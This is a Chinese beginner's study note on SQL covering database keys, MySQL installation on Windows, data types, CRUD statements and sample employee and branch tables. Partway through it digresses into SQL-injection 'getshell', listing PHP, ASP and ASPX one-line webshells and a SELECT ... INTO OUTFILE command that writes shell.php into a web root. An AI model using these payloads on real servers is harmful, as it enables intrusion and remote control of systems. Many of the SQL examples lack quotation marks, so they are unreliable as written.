SQL入门学习笔记

一、一些必备“常识”数据库是指任何相关信息得集合可以用不同的方式存储。如电话簿购物清单两种主要的数据库类型关系型数据库(SQL)例如mysql,postgresql(pg)与非关系型数据库(NoSQL)例如mogodb,redissql是大小写不敏感的比如create和CREATE其实是一样的。关系型数据库会将数据组织成一个或多个表(tables)并且每个表都有列(columns)和行(rows)而每个行都有唯一的键(keys)来标识非关系型数据库就是除了关系型数据库之外的其他数据库例如键值存储型(redis)文档型(mongodb)而关系数据库管理系统使用sql(structure query language)结构化查询语言来管理数据库。因此我们使用sql来进行CRUD而相对的nosql我们并没有一个标准化的语言来进行交互所以他们有自己的自定义命令集。表和键我们来看这样一张表一张表横向我们称为行(row)纵向我们成为列(column)。我们可以看到列代表单个属性比如name这些。而行我们可以理解为一个具体的对象。一行总是一个有完整属性的对象。我们希望有特殊的一列称为主键它是不可重复的具有唯一性例如此处的student id主键也是一个属性它唯一的定义数据库中的每一行。而此处可以看到student id有个下划线标识这就是主键的标识。所以我们只需要知道一个说法————如jack的主键是1。那么主键有什么用呢可以看到这张表中的1和4他们拥有相同的名字和专业那如何区分这两人的呢就是通过主键。因为主键对于表中的每一行是唯一的也就相当于我们的身份证号他不会重复这也是同名的情况下我们如何区分主键为1的jack和主键为4的jack。通常情况下每当我们有一个关系就需要定义主键它可以是任何形式如数字文本json串。但他需要有唯一性。主键可以分为自然键和代理键他们的核心差异在于有无实际的业务意义。比如我们前面提到的身份证号它是有实际意义的因为上面记录了你的出生日期你的户口所在地所以它是自然键。而这里的student id则是代理键因为这里的12345并没有实际的业务意义。基于稳定性差异代理键天生稳定。哪怕用户改了手机号、姓名、地址id始终不变不会引发关联表的级联修改比如订单表关联了用户id用户信息变更不影响订单数据。自然键可能变更。比如用户更换手机号原本用手机号做自然键就需要修改主键值而主键关联了订单、收货地址等多张表时会触发大量级联修改容易引发数据不一致、性能问题甚至报错。外键外键是用来建立和强制两个表之间关联关系的约束核心作用是保证数据的引用完整性—— 简单说就是让一张表子表的某个字段必须对应另一张表父表主键或唯一键的有效值避免出现 “无中生有” 的关联数据外键最常见的存储是另一个数据库表中存储的主键。如这个地方的branch_id从我们的感觉上来说可能有一张branch的表有个名为id的主键。外键则起到了关联两张表的作用。举个简单的例子比如你的工号是123这作为你在员工这个表中的主键而你的大学学号是321这是大学生这个表中的主键。那么此时你可以在员工表中新增一列为你的大学学号这样就可以关联大学生和员工这两张表同时也丰富了你的属性。有点像我们的链表一种顺藤摸瓜的赶脚链表会存储下一个元素的地址这个地址就实现了两个元素之间的关联。我们简单说一下这里的实际例子上述两张图这里有两个外键branch_id和mgr_id我们只拿一个人来说这个例子比如JoshPorter它的branch_id是3那么我们顺着找过去他的branch_name就是Stamford这个地方又有个mgr_id这里设计者的意图是通过这个mgr_id倒回去对应emp_id只要对应的上就是manager这是一种设计思维并不是一定要这样设计这里仅作区别。复合键复合键也叫 “联合键”是指由表中两个或多个字段(column)组合而成的键这个组合字段整体满足 “唯一性、非空” 等键的特性。这里就是复合主键它由branch_id和supplier name两个字段组成。比如学生选课场景中单靠student_id学生 ID或course_id课程 ID都无法唯一标识一条记录一个学生可选多门课一门课可被多个学生选此时用student_id course_id作为复合主键二、SQL基础Mysql for Win(安装Mysql)MySQL :: Download MySQL Community Server来到这个网址选择你想要的版本选择MSI Installer 点击Download我这里选择的是8.4.8LTS也就是长期支持版如果大家想用5.6甚至5.7的版本建议石用docker接着我们点击最下面的 No thanks,just start my download 就开始下载了这里大家注意不要占用自己的3306端口因为这是mysql数据库的默认端口。一路next来到这儿我这里想自定义安装路径就选第二个了每一个点开都有这样子的选项我就全选第二个了大家不知道的可以都选第一个will be installed on local hard drive然后install就行了然后点击finish然后开始配置我们的root密码和端口这些点击next这里有我们的存储数据的一个目录只需要记住全英文并且不要有空格就可以了这里Config Type不动因为我们默认是开发机如果是服务器的话可以选择Server Computer等其他的。然后石用TCP/IP协议进行网络连接这里也不动后面这个端口可以自己改如果大家之前下过phpstudy然后没有删除的话这里可以把默认端口改了我这里就改个3308远程端口33060没必要更改。然后其他对于本地开发也不太需要。然后点击next这里仅作开发学习需要我就直接设置root为密码了。也不添加新账户了关掉开机自启动然后next这两个玩意儿。。。。对新手非常有好但是宝宝磁盘有限还是板载就不勾选了我们看看对这俩玩意儿的介绍。。。斯有点爽就是嗯Create Sakila databaseSakila 是一个模拟电影租赁业务的示例数据库包含了丰富的表结构和关系非常适合学习复杂的 SQL 查询、JOIN 操作和数据库设计。Create World databaseWorld 是一个包含全球国家、城市、语言信息的简单示例数据库适合入门级的 SQL 练习。这里等后面作者在室友的电脑上捣鼓一个来看看什么效果。。。。一番思想挣扎后我还是决定性情一把直接勾上点击Execute然后就next最后finish把mysql的主体包里面有个bin目录我们依旧打到path里面就可以在cmd这里mysql登陆了由于我是用的是3308端口所以我们需要使用-p -P来指定端口不然默认是3306端口。如果需要默认连接3308的话需要找到mysql主体里的Data文件里面有个my.ini然后ctrlf搜索找到[mysql]节点添加如下信息即可。然后把它(my.ini)放到上一级目录也就是Mysql目录下和Data同级也就是Mysql/my.ini。最后winr输入service.msc找到对应的服务重启然后使用mysql -u root -p 就可以了我这里使用dg连接mysql直接点左上角添加数据库然后给配置连接就行了。CRUD这里给大家推荐一个初步练手小网站https://sqlbolt.com/lesson就是全英文有点牢SELECT- 从数据库中提取数据UPDATE- 更新数据库中的数据DELETE- 从数据库中删除数据INSERT INTO- 向数据库中插入新数据CREATE DATABASE- 创建新数据库ALTER DATABASE- 修改数据库CREATE TABLE- 创建新表ALTER TABLE- 变更改变数据库表DROP TABLE- 删除表CREATE INDEX- 创建索引搜索键DROP INDEX- 删除索引我们接下来看看常见数据类型int ---所有的整数decimal(m,n) ---小数(浮点数)其中m和n分别表示总的位数和小数部分的位数varchar(l) ---字符串其中l代表了字符串的长度blob ---二进制大型对象用来存储大量二进制数据的结构例如存储图片视频date ---日期具体格式是YYYY-MM-DDtimestamp ---时间戳,具体格式是YYYY-MM-DD HH:MM:SS 多用于日志记录这里旨在通过一个具体案例来进行学习。先来看看我们的整个结构CREATE在这里我们创建一个简单的学生的表以他为例子CREATE TABLE student (#为了区分sql语句和其他的代码所以我们看到的大多数sql关键字都是大写的当然使用小写也是可以的。 student_id INT PRIMARY KEY, #对应分别是字段名 数据类型 声明主键。 name VARCHAR(20), #此处可以理解为数组这里的20这个参数是会占用内存空间的。 major VARCHAR(10) #PRIMARY KEY (student_id)也可以在最后这样声明主键有点像某些配置文件。 ); #现在student表里就有了三个字段分别是student_id name major接着我们来确认一下是否创建了。在navicat里面可以看到成功创建。当然在这之前要选择数据库使用USE database_name;也就是你自己的数据库名字使用use来选择。也可以直接使用DESCRIBE student;来看是否创建成功简单来说就是操作 被操作的结构 被操作的名字 其他;其他可能是一些声明比如INT DECIMAL PRIMARY KEY 等。使用INSERT INTO 向表中插入数据这里可以看到INTO后面并没有跟TABLE注意一下就行了其实DG会报错的。。。大可不必担心。INSERT INTO student(student_id, name) VALUE(2,marria);特别的我们可以看到这样子的SQL语句有点类似于我们的强制类型转化那么原来的语句INSERT INTO student VALUE(2,marria.Chinese);我们是不是也可以视作INSERT INTO student(student_id, name , major) VALUE(2,marria,Chinese);这里特殊的SQL语句我们要注意一个点在于我们需要确认你的省略值是否为空对吧如果我们这样子插入数据也就是没有major的键的话前提当然是他不是主键或者不为空对吧。那么此时我们这里插入这个语句后他就是NULL对吧。这里介绍一下从sql注入打一句话木马getshell以下是一些常见的一句话木马php一句话木马 ?php eval($_POST[value]); ? // 表示即使报错也会继续执行 asp一句话木马 %eval request (value)% 或 % execute(request(value)) % aspx一句话木马 % Page LanguageJscript % % eval(Request.Item[value]) %我主要以php的为例子吧主要jsp那些的确实没咋遇到过。太菜了还是。当然我们首先要知道一些前提条件比如我的nginx中间件。首先你的木马可以成功传上去绕过别人设置的一系列黑名单啊之类的其次你要知道你的马传上去到了哪个目录也就是具体的目录位置最后你的一句话木马要被服务器解析比如你的nginx不开解析php那么它传一个php的一句话木马你去连他的目录也连接不上。补充一个知识点关于全局变量:secure_file_privsecure_file_priv有些设置选项:如果为空不做目录限制即任何目录均可以。如果指定了目录MySQL 会限制只能从该目录导入、或导出到该目录。目录必须已存在MySQL 不会自动创建该目录。如果设置为NULLMySQL 服务器禁止导入与导出功能。也就是说如果你这里是文件写入对吧那么你的前提条件就是。可能还有希望大佬补充1.你能获得web应用的绝对路径也就是你知道你的木马上传到了哪里2.mysql服务对web应用的路径拥有写入权限。当然相应的还有你的文件权限用户权限和文件夹权限当然需要的是写入权限。3.未对sql的输入进行转义参数化查询。危险实例:outfiledumpfileselect * from user into outfile d:\\1.phpselect * from user into dumpfile d:\\1.phpshow variables like %secure%SELECT 。。。INTO OUTFILE /path他具体做了件什么事呢讲查询结果导出到指定路径。例如SELECT ?php eval($_POST[a]);? INTO OUTFILE /var/www/html/shell.php你就在这个路径下写入了一个一句话木马shell.php连接密码是a对吧。SELECT 。。。INTO DUMPFILE /path这是将查询结果以二进制的形式导出到指定路径。例如SELECT 0x4D5A INTO DUMPFILE /tmp/binary.bin; -- 0x4D5A是MZWindows可执行文件头由于这种getshell的方式条件过于苛刻这里就不过多介绍了大家想要了解可以看看其他佬的blogSQL注入上传一句话木马-CSDN博客MySQL 全局配置 --secure-file-priv_mysql --secure-file-priv-CSDN博客我们继续两个关键字 NOT NULL 和 UNIQUE前者规定了你的数据不能为空后者规定了你的数据唯一。比如此地方的 major 如果你在插入的时候插入了两个major值一样的数据他就会报如上图是错误。DEFAULT关键字可以让你赋值一个默认的初始值。AUTO_INCREMENT 这个关键字让你的数据可以自增比如说我们的主键他有唯一不为空的特性对吧那么此时我们插入数据时没必要再插入student_id因为我们加上AUTO_INCREMENT他会自增。UpdateDeleteSELECT * FROM student WHERE major biology; UPDATE student SET major biology WHERE major bio;还是很易读的吧更新学生表设置major字段为biology当major为bio时。WHERE是筛选语句这里我们再查询的时候细说。DELETE FROM student删除倒是很好看没什么凹点吧由于是偏基础并没有什么很难理解和很花里胡哨的sql语句构造所以更新update和删除delete我就带过了。READ(query)接下来是查询我们最先接触的是SELECT * FROM 结构名比如这里的student表。这是我们最先接触的查询语句。当然其实他也可以打绝对路径可以看到我这里下面有个study_for_sql.student。这是student表的绝对路径。此时我在这个数据库(study_for_sql)下面当然我们跳到另一个数据库student_db看看相对路径是否生效。可以看到在另一个库下面他是会报错的因为这个数据库里面并没有student的表结构。SELECT * FROM student ORDER BY student_id ASC ; SELECT * FROM student ORDER BY name DESC ;用order by排序ASC 表示升序当然我们知道的主键这里是student_id他是不重复有序唯一的所以这个地方它会提示排序冗余。DESC代表降序。当然还有逻辑或(OR)逻辑与(AND)就和你的C语言里的|| 是一个用法你可以丰富你的查询语句。当然以下是一些常见的逻辑符 #小于 #大于 #小于等于 #大于等于 #不等于! #不等于AND #逻辑与OR #逻辑或当然WHERE也可以和IN搭配构成WHERE结构名IN (选项)例如这个地方的WHERE name IN (ljm,zhouhong)接下来我们使用一个具体的案例来学习一下之前提到的内容。CREATE TABLE IF NOT EXISTS employee( emp_id INT PRIMARY KEY , first_name VARCHAR(40), last_name VARCHAR(40), birth_day DATE,#时间格式的变量 格式为YY-MM-DD sex VARCHAR(1), salary INT, super_id INT, branch_id INT )创建一张员工表包括它的工号姓名生日性别薪资等。super_id,branch_id我们这里用来作为外键关联其他的表结构。CREATE TABLE branch ( branch_id INT PRIMARY KEY , branch_name VARCHAR(40), mgr_id INT, mgr_start_date DATE, FOREIGN KEY (mgr_id) REFERENCES employee(emp_id) ON DELETE SET NULL )这里只重点说一下最后一行FOREIGN KEY (你想作为外键的列名) REFERENCES employee(emp_id)这说明你作为外键的mgr_id它的值只能来自于employee表的emp_id字段。所以整个这个语句做了一件事那就是让mgr_id作为外键并且值取自于emp_id可以简单理解为这里的mgr_id它等价于emp_id值和地位是相等的ON DELETE SET NULL则是当比如我的emp_id1那么我的branch_id也等于1对吧关联了外键嘛当emp_id1的那一行被删除时也就是在employee表中这个员工被删除后它会自动把mgr_id的值设置为NULL。CREATE TABLE IF NOT EXISTS works_with( emp_id INT, client_id INT, total_sales INT, PRIMARY KEY (emp_id, client_id), FOREIGN KEY (emp_id) REFERENCES employee(emp_id) ON DELETE CASCADE , FOREIGN KEY (client_id) REFERENCES client(client_id) ON DELETE CASCADE );由于在之前的其他表创建时我们已经设置了 emp_id 和client_id在关联其他表时是SET NULL了所以这个地方你不能再写SET NULL而是CASCADE --级联删除会删掉整行数据而且这个地方我们使用了复合主键的写法在第五行这表示emp_id和client_id构成的一个整体是主键他们唯一且非空。接下来我们来看看插入一条数据来看看各个表是什么样的变化。INSERT INTO employee VALUES (333,zhou,wi,1145-12-01,男,10000,NULL,NULL); INSERT INTO branch VALUES (1,Corporator,333,2005-02-04); UPDATE employee SET branch_id 1 WHERE emp_id 333; SELECT * FROM employee; SELECT * FROM branch; SELECT * FROM client;注意这插入数据的时候mgr_id和emp_id是一样的才行因为我们之前提到了他俩是外键建立的联系本质上是一个东西。QUERY这里我只做一些简单的介绍更详细的在学习sql注入时会提到。SELECT * FROM employee ORDER BY salary DESC ;SELECT * FROM employee ORDER BY salary DESC LIMIT 5;这是比较简单的查询他表示把员工表(employee表)的所有内容通过salary字段的值降序排列。后面也可以跟上LIMIT 这会限制它的输出只有查询复合规则的前五个目标当然你说我不想要全部内容只是想要first_name和last_name就只需要SELECT first_name,last_name就行了。SQLBolt - Learn SQL - Introduction to SQL给大家推荐一个练习基本查询的网站SELECT DISTINCT sex FROM employee;这里有一个新的关键字DISTINCT它表明一种区别的不同关系简单来说就是比如我这里的sex有男 女 其他那么这个sql语句的执行结果就是男 女 其他但是我们知道实际上他有很多的比如实际上可能是 男 男 男 女 女 女 其他 男 其他但是这里他会把有区别的输出。换句话说就是输出了他有具体的哪几类。到此本文就结束了本文偏基础也比较简单易理解。